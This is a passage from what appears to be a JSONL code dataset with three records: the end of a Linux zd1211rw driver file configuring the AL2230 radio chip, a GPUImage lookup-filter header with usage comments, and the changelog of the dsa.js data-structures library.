from 0xb->0x0d */\n};\n\nstatic int zd1211b_al2230_finalize_rf(struct zd_chip *chip)\n{\n\tint r;\n\tstatic const struct zd_ioreq16 ioreqs[] = {\n\t\t{ ZD_CR80, 0x30 }, { ZD_CR81, 0x30 }, { ZD_CR79, 0x58 },\n\t\t{ ZD_CR12, 0xf0 }, { ZD_CR77, 0x1b }, { ZD_CR78, 0x58 },\n\t\t{ ZD_CR203, 0x06 },\n\t\t{ },\n\n\t\t{ ZD_CR240, 0x80 },\n\t};\n\n\tr = zd_iowrite16a_locked(chip, ioreqs, ARRAY_SIZE(ioreqs));\n\tif (r)\n\t\treturn r;\n\n\t/* related to antenna selection? */\n\tif (chip->new_phy_layout) {\n\t\tr = zd_iowrite16_locked(chip, 0xe1, ZD_CR9);\n\t\tif (r)\n\t\t\treturn r;\n\t}\n\n\treturn zd_iowrite16_locked(chip, 0x06, ZD_CR203);\n}\n\nstatic int zd1211_al2230_init_hw(struct zd_rf *rf)\n{\n\tint r;\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\n\tstatic const struct zd_ioreq16 ioreqs_init[] = {\n\t\t{ ZD_CR15, 0x20 }, { ZD_CR23, 0x40 }, { ZD_CR24, 0x20 },\n\t\t{ ZD_CR26, 0x11 }, { ZD_CR28, 0x3e }, { ZD_CR29, 0x00 },\n\t\t{ ZD_CR44, 0x33 }, { ZD_CR106, 0x2a }, { ZD_CR107, 0x1a },\n\t\t{ ZD_CR109, 0x09 }, { ZD_CR110, 0x27 }, { ZD_CR111, 0x2b },\n\t\t{ ZD_CR112, 0x2b }, { ZD_CR119, 0x0a }, { ZD_CR10, 0x89 },\n\t\t/* for newest (3rd cut) AL2300 */\n\t\t{ ZD_CR17, 0x28 },\n\t\t{ ZD_CR26, 0x93 }, { ZD_CR34, 0x30 },\n\t\t/* for newest (3rd cut) AL2300 */\n\t\t{ ZD_CR35, 0x3e },\n\t\t{ ZD_CR41, 0x24 }, { ZD_CR44, 0x32 },\n\t\t/* for newest (3rd cut) AL2300 */\n\t\t{ ZD_CR46, 0x96 },\n\t\t{ ZD_CR47, 0x1e }, { ZD_CR79, 0x58 }, { ZD_CR80, 0x30 },\n\t\t{ ZD_CR81, 0x30 }, { ZD_CR87, 0x0a }, { ZD_CR89, 0x04 },\n\t\t{ ZD_CR92, 0x0a }, { ZD_CR99, 0x28 }, { ZD_CR100, 0x00 },\n\t\t{ ZD_CR101, 0x13 }, { ZD_CR102, 0x27 }, { ZD_CR106, 0x24 },\n\t\t{ ZD_CR107, 0x2a }, { ZD_CR109, 0x09 }, { ZD_CR110, 0x13 },\n\t\t{ ZD_CR111, 0x1f }, { ZD_CR112, 0x1f }, { ZD_CR113, 0x27 },\n\t\t{ ZD_CR114, 0x27 },\n\t\t/* for newest (3rd cut) AL2300 */\n\t\t{ ZD_CR115, 0x24 },\n\t\t{ ZD_CR116, 0x24 }, { ZD_CR117, 0xf4 }, { ZD_CR118, 0xfc },\n\t\t{ ZD_CR119, 0x10 }, { ZD_CR120, 0x4f }, { ZD_CR121, 0x77 },\n\t\t{ ZD_CR122, 0xe0 }, { ZD_CR137, 0x88 }, { ZD_CR252, 0xff },\n\t\t{ ZD_CR253, 0xff },\n\t};\n\n\tstatic const struct zd_ioreq16 ioreqs_pll[] = {\n\t\t/* shdnb(PLL_ON)=0 */\n\t\t{ ZD_CR251, 0x2f },\n\t\t/* shdnb(PLL_ON)=1 */\n\t\t{ ZD_CR251, 0x3f },\n\t\t{ ZD_CR138, 0x28 }, { ZD_CR203, 0x06 },\n\t};\n\n\tstatic const u32 rv1[] = {\n\t\t/* Channel 1 */\n\t\t0x03f790,\n\t\t0x033331,\n\t\t0x00000d,\n\n\t\t0x0b3331,\n\t\t0x03b812,\n\t\t0x00fff3,\n\t};\n\n\tstatic const u32 rv2[] = {\n\t\t0x000da4,\n\t\t0x0f4dc5, /* fix freq shift, 0x04edc5 */\n\t\t0x0805b6,\n\t\t0x011687,\n\t\t0x000688,\n\t\t0x0403b9, /* external control TX power (ZD_CR31) */\n\t\t0x00dbba,\n\t\t0x00099b,\n\t\t0x0bdffc,\n\t\t0x00000d,\n\t\t0x00500f,\n\t};\n\n\tstatic const u32 rv3[] = {\n\t\t0x00d00f,\n\t\t0x004c0f,\n\t\t0x00540f,\n\t\t0x00700f,\n\t\t0x00500f,\n\t};\n\n\tr = zd_iowrite16a_locked(chip, ioreqs_init, ARRAY_SIZE(ioreqs_init));\n\tif (r)\n\t\treturn r;\n\n\tif (IS_AL2230S(chip)) {\n\t\tr = zd_iowrite16a_locked(chip, ioreqs_init_al2230s,\n\t\t\tARRAY_SIZE(ioreqs_init_al2230s));\n\t\tif (r)\n\t\t\treturn r;\n\t}\n\n\tr = zd_rfwritev_locked(chip, rv1, ARRAY_SIZE(rv1), RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\n\t/* improve band edge for AL2230S */\n\tif (IS_AL2230S(chip))\n\t\tr = zd_rfwrite_locked(chip, 0x000824, RF_RV_BITS);\n\telse\n\t\tr = zd_rfwrite_locked(chip, 0x0005a4, RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\n\tr = zd_rfwritev_locked(chip, rv2, ARRAY_SIZE(rv2), RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\n\tr = zd_iowrite16a_locked(chip, ioreqs_pll, ARRAY_SIZE(ioreqs_pll));\n\tif (r)\n\t\treturn r;\n\n\tr = zd_rfwritev_locked(chip, rv3, ARRAY_SIZE(rv3), RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\n\treturn 0;\n}\n\nstatic int zd1211b_al2230_init_hw(struct zd_rf *rf)\n{\n\tint r;\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\n\tstatic const struct zd_ioreq16 ioreqs1[] = {\n\t\t{ ZD_CR10, 0x89 }, { ZD_CR15, 0x20 },\n\t\t{ ZD_CR17, 0x2B }, /* for newest(3rd cut) AL2230 */\n\t\t{ ZD_CR23, 0x40 }, { ZD_CR24, 0x20 }, { ZD_CR26, 0x93 },\n\t\t{ ZD_CR28, 0x3e }, { ZD_CR29, 0x00 },\n\t\t{ ZD_CR33, 0x28 }, /* 5621 */\n\t\t{ ZD_CR34, 0x30 },\n\t\t{ ZD_CR35, 0x3e }, /* for newest(3rd cut) AL2230 */\n\t\t{ ZD_CR41, 0x24 }, { ZD_CR44, 0x32 },\n\t\t{ ZD_CR46, 0x99 }, /* for newest(3rd cut) AL2230 */\n\t\t{ ZD_CR47, 0x1e },\n\n\t\t/* ZD1211B 05.06.10 */\n\t\t{ ZD_CR48, 0x06 }, { ZD_CR49, 0xf9 }, { ZD_CR51, 0x01 },\n\t\t{ ZD_CR52, 0x80 }, { ZD_CR53, 0x7e }, { ZD_CR65, 0x00 },\n\t\t{ ZD_CR66, 0x00 }, { ZD_CR67, 0x00 }, { ZD_CR68, 0x00 },\n\t\t{ ZD_CR69, 0x28 },\n\n\t\t{ ZD_CR79, 0x58 }, { ZD_CR80, 0x30 }, { ZD_CR81, 0x30 },\n\t\t{ ZD_CR87, 0x0a }, { ZD_CR89, 0x04 },\n\t\t{ ZD_CR91, 0x00 }, /* 5621 */\n\t\t{ ZD_CR92, 0x0a },\n\t\t{ ZD_CR98, 0x8d }, /* 4804, for 1212 new algorithm */\n\t\t{ ZD_CR99, 0x00 }, /* 5621 */\n\t\t{ ZD_CR101, 0x13 }, { ZD_CR102, 0x27 },\n\t\t{ ZD_CR106, 0x24 }, /* for newest(3rd cut) AL2230 */\n\t\t{ ZD_CR107, 0x2a },\n\t\t{ ZD_CR109, 0x13 }, /* 4804, for 1212 new algorithm */\n\t\t{ ZD_CR110, 0x1f }, /* 4804, for 1212 new algorithm */\n\t\t{ ZD_CR111, 0x1f }, { ZD_CR112, 0x1f }, { ZD_CR113, 0x27 },\n\t\t{ ZD_CR114, 0x27 },\n\t\t{ ZD_CR115, 0x26 }, /* 24->26 at 4902 for newest(3rd cut)\n\t\t\t\t * AL2230\n\t\t\t\t */\n\t\t{ ZD_CR116, 0x24 },\n\t\t{ ZD_CR117, 0xfa }, /* for 1211b */\n\t\t{ ZD_CR118, 0xfa }, /* for 1211b */\n\t\t{ ZD_CR119, 0x10 },\n\t\t{ ZD_CR120, 0x4f },\n\t\t{ ZD_CR121, 0x6c }, /* for 1211b */\n\t\t{ ZD_CR122, 0xfc }, /* E0->FC at 4902 */\n\t\t{ ZD_CR123, 0x57 }, /* 5623 */\n\t\t{ ZD_CR125, 0xad }, /* 4804, for 1212 new algorithm */\n\t\t{ ZD_CR126, 0x6c }, /* 5614 */\n\t\t{ ZD_CR127, 0x03 }, /* 4804, for 1212 new algorithm */\n\t\t{ ZD_CR137, 0x50 }, /* 5614 */\n\t\t{ ZD_CR138, 0xa8 },\n\t\t{ ZD_CR144, 0xac }, /* 5621 */\n\t\t{ ZD_CR150, 0x0d }, { ZD_CR252, 0x34 }, { ZD_CR253, 0x34 },\n\t};\n\n\tstatic const u32 rv1[] = {\n\t\t0x8cccd0,\n\t\t0x481dc0,\n\t\t0xcfff00,\n\t\t0x25a000,\n\t};\n\n\tstatic const u32 rv2[] = {\n\t\t/* To improve AL2230 yield, improve phase noise, 4713 */\n\t\t0x25a000,\n\t\t0xa3b2f0,\n\n\t\t0x6da010, /* Reg6 update for MP versio */\n\t\t0xe36280, /* Modified by jxiao for Bor-Chin on 2004/08/02 */\n\t\t0x116000,\n\t\t0x9dc020, /* External control TX power (ZD_CR31) */\n\t\t0x5ddb00, /* RegA update for MP version */\n\t\t0xd99000, /* RegB update for MP version */\n\t\t0x3ffbd0, /* RegC update for MP version */\n\t\t0xb00000, /* RegD update for MP version */\n\n\t\t/* improve phase noise and remove phase calibration,4713 */\n\t\t0xf01a00,\n\t};\n\n\tstatic const struct zd_ioreq16 ioreqs2[] = {\n\t\t{ ZD_CR251, 0x2f }, /* shdnb(PLL_ON)=0 */\n\t\t{ ZD_CR251, 0x7f }, /* shdnb(PLL_ON)=1 */\n\t};\n\n\tstatic const u32 rv3[] = {\n\t\t/* To improve AL2230 yield, 4713 */\n\t\t0xf01b00,\n\t\t0xf01e00,\n\t\t0xf01a00,\n\t};\n\n\tstatic const struct zd_ioreq16 ioreqs3[] = {\n\t\t/* related to 6M band edge patching, happens unconditionally */\n\t\t{ ZD_CR128, 0x14 }, { ZD_CR129, 0x12 }, { ZD_CR130, 0x10 },\n\t};\n\n\tr = zd_iowrite16a_locked(chip, zd1211b_ioreqs_shared_1,\n\t\tARRAY_SIZE(zd1211b_ioreqs_shared_1));\n\tif (r)\n\t\treturn r;\n\tr = zd_iowrite16a_locked(chip, ioreqs1, ARRAY_SIZE(ioreqs1));\n\tif (r)\n\t\treturn r;\n\n\tif (IS_AL2230S(chip)) {\n\t\tr = zd_iowrite16a_locked(chip, ioreqs_init_al2230s,\n\t\t\tARRAY_SIZE(ioreqs_init_al2230s));\n\t\tif (r)\n\t\t\treturn r;\n\t}\n\n\tr = zd_rfwritev_cr_locked(chip, zd1211b_al2230_table[0], 3);\n\tif (r)\n\t\treturn r;\n\tr = zd_rfwritev_cr_locked(chip, rv1, ARRAY_SIZE(rv1));\n\tif (r)\n\t\treturn r;\n\n\tif (IS_AL2230S(chip))\n\t\tr = zd_rfwrite_locked(chip, 0x241000, RF_RV_BITS);\n\telse\n\t\tr = zd_rfwrite_locked(chip, 0x25a000, RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\n\tr = zd_rfwritev_cr_locked(chip, rv2, ARRAY_SIZE(rv2));\n\tif (r)\n\t\treturn r;\n\tr = zd_iowrite16a_locked(chip, ioreqs2, ARRAY_SIZE(ioreqs2));\n\tif (r)\n\t\treturn r;\n\tr = zd_rfwritev_cr_locked(chip, rv3, ARRAY_SIZE(rv3));\n\tif (r)\n\t\treturn r;\n\tr = zd_iowrite16a_locked(chip, ioreqs3, ARRAY_SIZE(ioreqs3));\n\tif (r)\n\t\treturn r;\n\treturn zd1211b_al2230_finalize_rf(chip);\n}\n\nstatic int zd1211_al2230_set_channel(struct zd_rf *rf, u8 channel)\n{\n\tint r;\n\tconst u32 *rv = zd1211_al2230_table[channel-1];\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\tstatic const struct zd_ioreq16 ioreqs[] = {\n\t\t{ ZD_CR138, 0x28 },\n\t\t{ ZD_CR203, 0x06 },\n\t};\n\n\tr = zd_rfwritev_locked(chip, rv, 3, RF_RV_BITS);\n\tif (r)\n\t\treturn r;\n\treturn zd_iowrite16a_locked(chip, ioreqs, ARRAY_SIZE(ioreqs));\n}\n\nstatic int zd1211b_al2230_set_channel(struct zd_rf *rf, u8 channel)\n{\n\tint r;\n\tconst u32 *rv = zd1211b_al2230_table[channel-1];\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\n\tr = zd_iowrite16a_locked(chip, zd1211b_ioreqs_shared_1,\n\t\tARRAY_SIZE(zd1211b_ioreqs_shared_1));\n\tif (r)\n\t\treturn r;\n\n\tr = zd_rfwritev_cr_locked(chip, rv, 3);\n\tif (r)\n\t\treturn r;\n\n\treturn zd1211b_al2230_finalize_rf(chip);\n}\n\nstatic int zd1211_al2230_switch_radio_on(struct zd_rf *rf)\n{\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\tstatic const struct zd_ioreq16 ioreqs[] = {\n\t\t{ ZD_CR11, 0x00 },\n\t\t{ ZD_CR251, 0x3f },\n\t};\n\n\treturn zd_iowrite16a_locked(chip, ioreqs, ARRAY_SIZE(ioreqs));\n}\n\nstatic int zd1211b_al2230_switch_radio_on(struct zd_rf *rf)\n{\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\tstatic const struct zd_ioreq16 ioreqs[] = {\n\t\t{ ZD_CR11, 0x00 },\n\t\t{ ZD_CR251, 0x7f },\n\t};\n\n\treturn zd_iowrite16a_locked(chip, ioreqs, ARRAY_SIZE(ioreqs));\n}\n\nstatic int al2230_switch_radio_off(struct zd_rf *rf)\n{\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\tstatic const struct zd_ioreq16 ioreqs[] = {\n\t\t{ ZD_CR11, 0x04 },\n\t\t{ ZD_CR251, 0x2f },\n\t};\n\n\treturn zd_iowrite16a_locked(chip, ioreqs, ARRAY_SIZE(ioreqs));\n}\n\nint zd_rf_init_al2230(struct zd_rf *rf)\n{\n\tstruct zd_chip *chip = zd_rf_to_chip(rf);\n\n\trf->switch_radio_off = al2230_switch_radio_off;\n\tif (zd_chip_is_zd1211b(chip)) {\n\t\trf->init_hw = zd1211b_al2230_init_hw;\n\t\trf->set_channel = zd1211b_al2230_set_channel;\n\t\trf->switch_radio_on = zd1211b_al2230_switch_radio_on;\n\t} else {\n\t\trf->init_hw = zd1211_al2230_init_hw;\n\t\trf->set_channel = zd1211_al2230_set_channel;\n\t\trf->switch_radio_on = zd1211_al2230_switch_radio_on;\n\t}\n\trf->patch_6m_band_edge = zd_rf_generic_patch_6m;\n\trf->patch_cck_gain = 1;\n\treturn 0;\n}\n"} +{"text": "#import \"GPUImageTwoInputFilter.h\"\n\n@interface GPUImageLookupFilter : GPUImageTwoInputFilter\n{\n GLint intensityUniform;\n}\n\n// How To Use:\n// 1) Use your favourite photo editing application to apply a filter to lookup.png from GPUImage/framework/Resources.\n// For this to work properly each pixel color must not depend on other pixels (e.g. blur will not work).\n// If you need more complex filter you can create as many lookup tables as required.\n// E.g. color_balance_lookup_1.png -> GPUImageGaussianBlurFilter -> color_balance_lookup_2.png\n// 2) Use you new lookup.png file as a second input for GPUImageLookupFilter.\n\n// See GPUImageAmatorkaFilter, GPUImageMissEtikateFilter, and GPUImageSoftEleganceFilter for example.\n\n// Additional Info:\n// Lookup texture is organised as 8x8 quads of 64x64 pixels representing all possible RGB colors:\n//for (int by = 0; by < 8; by++) {\n// for (int bx = 0; bx < 8; bx++) {\n// for (int g = 0; g < 64; g++) {\n// for (int r = 0; r < 64; r++) {\n// image.setPixel(r + bx * 64, g + by * 64, qRgb((int)(r * 255.0 / 63.0 + 0.5),\n// (int)(g * 255.0 / 63.0 + 0.5),\n// (int)((bx + by * 8.0) * 255.0 / 63.0 + 0.5)));\n// }\n// }\n// }\n//}\n\n// Opacity/intensity of lookup filter ranges from 0.0 to 1.0, with 1.0 as the normal setting\n@property(readwrite, nonatomic) CGFloat intensity;\n\n@end\n"} +{"text": "# [2.1.0](https://github.com/amejiarosario/dsa.js/compare/2.0.0...2.1.0) (2020-09-11)\n\n\n### Features\n\n* **book/sorting:** add questions and solutions ([fdb8bd8](https://github.com/amejiarosario/dsa.js/commit/fdb8bd8af644ddeaa07ce62773e9be96fd6b2404))\n\n# [2.0.0](https://github.com/amejiarosario/dsa.js/compare/1.18.0...2.0.0) (2020-09-08)\n\n\n### Features\n\n* **book/pq:** add exercise with pq and dijkstra ([3a2a24f](https://github.com/amejiarosario/dsa.js/commit/3a2a24ffae2af5e5e348c237195f7a39717ae617))\n* **heap:** add error handling for heaps ([827177f](https://github.com/amejiarosario/dsa.js/commit/827177f6023f639db0c2cc267dceb0a27746038a))\n* **pq:** improves docs and usability of priority queues ([edf8808](https://github.com/amejiarosario/dsa.js/commit/edf8808970d57aaf397958d2cab1a6cc2e029d26))\n\n\n### BREAKING CHANGES\n\n* **heap:** size is now an attribute rather than a method. Similar to the built-in Map.size and Set.size\n\n# [1.18.0](https://github.com/amejiarosario/dsa.js/compare/1.17.0...1.18.0) (2020-09-07)\n\n\n### Features\n\n* **book/graph:** add schedule exercise and solution ([6a83cf8](https://github.com/amejiarosario/dsa.js/commit/6a83cf8a5d454b26e3048aa4ca73e44eafca0ed3))\n\n# [1.17.0](https://github.com/amejiarosario/dsa.js/compare/1.16.0...1.17.0) (2020-09-04)\n\n\n### Features\n\n* **book/set:** add questions and solutions ([f40dc63](https://github.com/amejiarosario/dsa.js/commit/f40dc6314a14e1750146a19163b3b70c30f09d70))\n\n# [1.16.0](https://github.com/amejiarosario/dsa.js/compare/1.15.0...1.16.0) (2020-09-03)\n\n\n### Features\n\n* **book/hashmap:** add exercises and solutions ([d18186b](https://github.com/amejiarosario/dsa.js/commit/d18186b61c260e3ae2cc1267cadd16c8cb453e00))\n\n# [1.15.0](https://github.com/amejiarosario/dsa.js/compare/1.14.0...1.15.0) (2020-09-02)\n\n\n### Bug Fixes\n\n* **book/solutions:** fix missing solutions ([464417e](https://github.com/amejiarosario/dsa.js/commit/464417e37ccde00d56d8ebb9c0d0ddc9e510e368))\n\n\n### Features\n\n* **BinaryTreeNode:** add BinaryTreeNode.from ([bcb4c28](https://github.com/amejiarosario/dsa.js/commit/bcb4c28089a96248ab9d623c25e1719e030caedc))\n* **book/binary-tree:** add right side view exercise and solution ([28346a4](https://github.com/amejiarosario/dsa.js/commit/28346a448e7f1be640751098b4a954ac04dd0aad))\n* **book/bt:** add binary tree diameter problem ([068dd9c](https://github.com/amejiarosario/dsa.js/commit/068dd9cc66e5a3050cc44d4cd3a05eb15f8c00d1))\n\n# [1.14.0](https://github.com/amejiarosario/dsa.js/compare/1.13.0...1.14.0) (2020-08-31)\n\n\n### Features\n\n* **book/questions:** add examples ([c1a8f8e](https://github.com/amejiarosario/dsa.js/commit/c1a8f8ec53f6c4c1302001dba6d913c81156fd98))\n* **book/questions:** add where the interview questions have been seen ([1f01baf](https://github.com/amejiarosario/dsa.js/commit/1f01bafdb55dcd82f6b88bdf1252c5aabb39277a))\n* **book/queue:** add recent counter questions and solution ([77d4596](https://github.com/amejiarosario/dsa.js/commit/77d459642ca61f729e698c892928665e76532701))\n* **book/queue:** add solution for queue question ([9a88766](https://github.com/amejiarosario/dsa.js/commit/9a887660bd21e7dbda0d3e87af704b4e41874093))\n* **queue:** add front, back and peek methods ([04aa9db](https://github.com/amejiarosario/dsa.js/commit/04aa9db26659058c09debe985f94845933a2089d))\n\n# [1.13.0](https://github.com/amejiarosario/dsa.js/compare/1.12.0...1.13.0) (2020-08-26)\n\n\n### Features\n\n* **book/exercises:** interview q&a for linked lists and stacks ([3bb86fd](https://github.com/amejiarosario/dsa.js/commit/3bb86fd544f543906b5723aab1f26d5a75f13950))\n\n# [1.12.0](https://github.com/amejiarosario/dsa.js/compare/1.11.0...1.12.0) (2020-08-26)\n\n\n### Features\n\n* **book/exercises:** interview q&a for linked lists and stacks ([#69](https://github.com/amejiarosario/dsa.js/issues/69)) ([ca4bf45](https://github.com/amejiarosario/dsa.js/commit/ca4bf45369ef772f4861e7619d3ea74ddc41cde4))\n\n\n### Reverts\n\n* Revert \"(book/exercises): interview q&a for linked lists and stacks (#69)\" (#70) ([06bd3f6](https://github.com/amejiarosario/dsa.js/commit/06bd3f6a8542b111e4c9e3b5d41050094b153112)), closes [#69](https://github.com/amejiarosario/dsa.js/issues/69) [#70](https://github.com/amejiarosario/dsa.js/issues/70)\n\n# [1.11.0](https://github.com/amejiarosario/dsa.js/compare/1.10.0...1.11.0) (2020-08-22)\n\n\n### Bug Fixes\n\n* **book:** multiple broken links and bump epub version ([57960e2](https://github.com/amejiarosario/dsa.js/commit/57960e2c4f483e779e8344e07406ce7d67d4d9b8)), closes [#60](https://github.com/amejiarosario/dsa.js/issues/60)\n* **book:** workaround for c++ issue in asciidoc ([dbdef21](https://github.com/amejiarosario/dsa.js/commit/dbdef2141ac1449c649cc76790d7990374e78808))\n\n\n### Features\n\n* **book:** add appendix D with interview question solutions ([ca119f2](https://github.com/amejiarosario/dsa.js/commit/ca119f2b2fe5e4392a0b13278b5a6ba9e907952c))\n* **book:array:** add solutions for interview questions ([b5a00dd](https://github.com/amejiarosario/dsa.js/commit/b5a00dded45a1f4eeab3bbbdd68ccbcbf02419d3))\n* **book/array:** add max subarray questions and solution ([5935b95](https://github.com/amejiarosario/dsa.js/commit/5935b95ea761402b296e5a4fbd6e3643714bcaf9))\n* **book/array:** add stock questions and solution ([6ab8bc4](https://github.com/amejiarosario/dsa.js/commit/6ab8bc4449323b059888edf84d66c76c9e812f4e))\n\n# [1.10.0](https://github.com/amejiarosario/dsa.js/compare/1.9.0...1.10.0) (2020-07-28)\n\n\n### Features\n\n* **book/arrays:** add exercises ([bcaf819](https://github.com/amejiarosario/dsa.js/commit/bcaf81919cb889c1209c6d1e577b037047714c05))\n\n# [1.9.0](https://github.com/amejiarosario/dsa.js/compare/1.8.3...1.9.0) (2020-06-30)\n\n\n### Features\n\n* **heap:** remove by index ([6af937f](https://github.com/amejiarosario/dsa.js/commit/6af937fb380ffcd26558193c1626bdb84b2abe17))\n* **linkedList:** takes iterables in the constructor ([1fa875f](https://github.com/amejiarosario/dsa.js/commit/1fa875fd772eb4a45dd9690bea593b513687caca))\n\n## [1.8.3](https://github.com/amejiarosario/dsa.js/compare/1.8.2...1.8.3) (2020-05-24)\n\n\n### Bug Fixes\n\n* **book/maps:** update space complexity ([0be0176](https://github.com/amejiarosario/dsa.js/commit/0be0176efc121c5608c1a2df25280d6d9c08e6f3))\n\n## [1.8.2](https://github.com/amejiarosario/dsa.js/compare/1.8.1...1.8.2) (2020-05-24)\n\n\n### Bug Fixes\n\n* **book/hashset:** update hashset space complexity ([0319b29](https://github.com/amejiarosario/dsa.js/commit/0319b29e92a630c5f14d5e3208b72fe536b38f43))\n\n## [1.8.1](https://github.com/amejiarosario/dsa.js/compare/1.8.0...1.8.1) (2020-05-24)\n\n\n### Bug Fixes\n\n* **book/maps:** update time/space complexity values ([3c4ef75](https://github.com/amejiarosario/dsa.js/commit/3c4ef7555c400828fb89339184294feb7169b215))\n\n# [1.8.0](https://github.com/amejiarosario/dsa.js/compare/1.7.1...1.8.0) (2020-05-23)\n\n\n### Bug Fixes\n\n* **book/map:** fix typo on maps space complexity ([2f24f57](https://github.com/amejiarosario/dsa.js/commit/2f24f57f989bb97f198bb32f6daa477d6075dc31))\n* **hashmap:** improve methods documentation ([f6b47b5](https://github.com/amejiarosario/dsa.js/commit/f6b47b5a6c53126bebbad72ac92da1a594042232))\n\n\n### Features\n\n* **maps:** implement clear method for hashMap and treeMap ([924c9a7](https://github.com/amejiarosario/dsa.js/commit/924c9a76db91f7df44f7cb38caba3aa9c3f0497f))\n\n## [1.7.1](https://github.com/amejiarosario/dsa.js/compare/1.7.0...1.7.1) (2020-05-20)\n\n\n### Bug Fixes\n\n* **hashmap:** fix TextEncoder reference ([e13ff88](https://github.com/amejiarosario/dsa.js/commit/e13ff88d7f8f9b7f38844befedc001bc1a4b243f))\n\n# [1.7.0](https://github.com/amejiarosario/dsa.js/compare/1.6.0...1.7.0) (2020-05-16)\n\n\n### Features\n\n* **heap:** add min/max/median-heaps ([202ca9f](https://github.com/amejiarosario/dsa.js/commit/202ca9f989ddba433b4f591e27bc094640cbbadf))\n\n# [1.6.0](https://github.com/amejiarosario/dsa.js/compare/1.5.0...1.6.0) (2020-05-08)\n\n# [1.5.0](https://github.com/amejiarosario/dsa.js/compare/1.4.0...1.5.0) (2020-03-30)\n\n\n### Features\n\n* **linkedList:** remove by node ([eac045a](https://github.com/amejiarosario/dsa.js/commit/eac045a6bedd0223a2e8b12225f87c428e6fb66f))\n* **lru-cache:** add new implementations ([3e787c6](https://github.com/amejiarosario/dsa.js/commit/3e787c6f9ba9c094272be5ac05b997ce44a359d3))\n* **trie:** remove method ([16005f3](https://github.com/amejiarosario/dsa.js/commit/16005f3bf39597759918e34b39d27eb25a5755e7))\n\n# Changelog\n\nAll notable changes to this project will be documented in this file.\n\nThe format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),\nand this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).\n\n## [Unreleased]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n\n## [1.3.9]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(book): fix table typos [commit](https://github.com/amejiarosario/dsa.js/commit/bc51a7a0c97aea9dea1afa5f8af22c0bed1382d3)\n\n## [1.3.8]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(book): fix typo, array pop, and BST images [commit](https://github.com/amejiarosario/dsa.js/commit/ac9858348943f9678d116c8076bfa3a3c5362741)\n\n## [1.3.7]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(avl-tree): balance was not working properly [commit](https://github.com/amejiarosario/dsa.js/commit/98e2c037f05caf37731da1dc50dd8867a1804c0e)\n\n## [1.3.6]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- update deps [commit](https://github.com/amejiarosario/dsa.js/commit/d8ce2f5b1a3bfeb861928d6c99d7624cd9ac144a)\n- style: fix eslint issue [commit](https://github.com/amejiarosario/dsa.js/commit/72e3d68e09bb9c7dd3fabf5cbeba1ae5571fc686)\n\n## [1.3.5]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(tree-rotations): prevent losing nodes [commit](https://github.com/amejiarosario/dsa.js/commit/1fa93415a6e14acc24e90443b2e9bdf053c4c983)\n\n## [1.3.4]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(queue): runtime error [commit](https://github.com/amejiarosario/dsa.js/commit/fd3ab480f2bb7cc2b7ce45da4e6a41831eafb7bf)\n- fix(book): remove lorem ipsum [commit](https://github.com/amejiarosario/dsa.js/commit/6a06e3b75915a72ef0dd5ee9d37dcf434c4c8e18)\n- docs(book): improve grammar\n\n## [1.2.3]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(linkedlist): removeFirst's last reference [commit](https://github.com/amejiarosario/dsa.js/commit/d4f9a71f6a22971ad8edcfd982d6b113f627d108)\n\n## [1.2.2]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- Optimize NPM package\n\n## [1.2.1]\n\n### Breaking Changes (major)\n\n### New Features (minor)\n\n### Bug Fixes (patch)\n- fix(linked-list): insert in the middle bug [commit](https://github.com/amejiarosario/dsa.js/commit/f8bd4fd8fa6c8dcb0d26f54a6ed7d80e5443d65b)\n- Various docs fixes.\n\n## [1.2.0] - 2019-04-04\n\n### Breaking changes (major)\n\n### New Features (minor)\n\n- Added Eslint and Travis ci\n\n### Fixes (patch)\n\n- Readme improvements\n- Badges for npm versions and build status\n\n## [1.1.0] - 2019-03-29\n\n### Added\n\n- README.md added because NPM packages doesn't read README.adoc\n- Public API to use the package `dsa.js`\n- This changelog\n\n### Changed\n\n- Updated dependencies (removed lodash since is not needed)\n\n### Removed\n\n-\n\n## [1.0.0] - 2019-03-29\n\n### Added\n\n- Started the project\n- Book released\n- npm package published\n\n### Changed\n\n-\n\n### Removed\n\n-\n\n[Unreleased]: https://github.com/amejiarosario/dsa.js/compare/1.3.9...HEAD\n[1.3.9]: https://github.com/amejiarosario/dsa.js/compare/1.3.8...1.3.9\n[1.3.7]: https://github.com/amejiarosario/dsa.js/compare/1.3.7...1.3.8\n[1.3.6]: https://github.com/amejiarosario/dsa.js/compare/1.3.6...1.3.7\n[1.3.6]: https://github.com/amejiarosario/dsa.js/compare/1.3.5...1.3.6\n[1.3.5]: https://github.com/amejiarosario/dsa.js/compare/1.3.4...1.3.5\n[1.3.4]: https://github.com/amejiarosario/dsa.js/compare/1.2.3...1.3.4\n[1.2.2]: https://github.com/amejiarosario/dsa.js/compare/1.2.2...1.2.3\n[1.2.2]: https://github.com/amejiarosario/dsa.js/compare/1.2.1...1.2.2\n[1.2.1]: https://github.com/amejiarosario/dsa.js/compare/1.2.0...1.2.1\n[1.2.0]: https://github.com/amejiarosario/dsa.js/compare/1.1.0...1.2.0\n[1.1.0]: 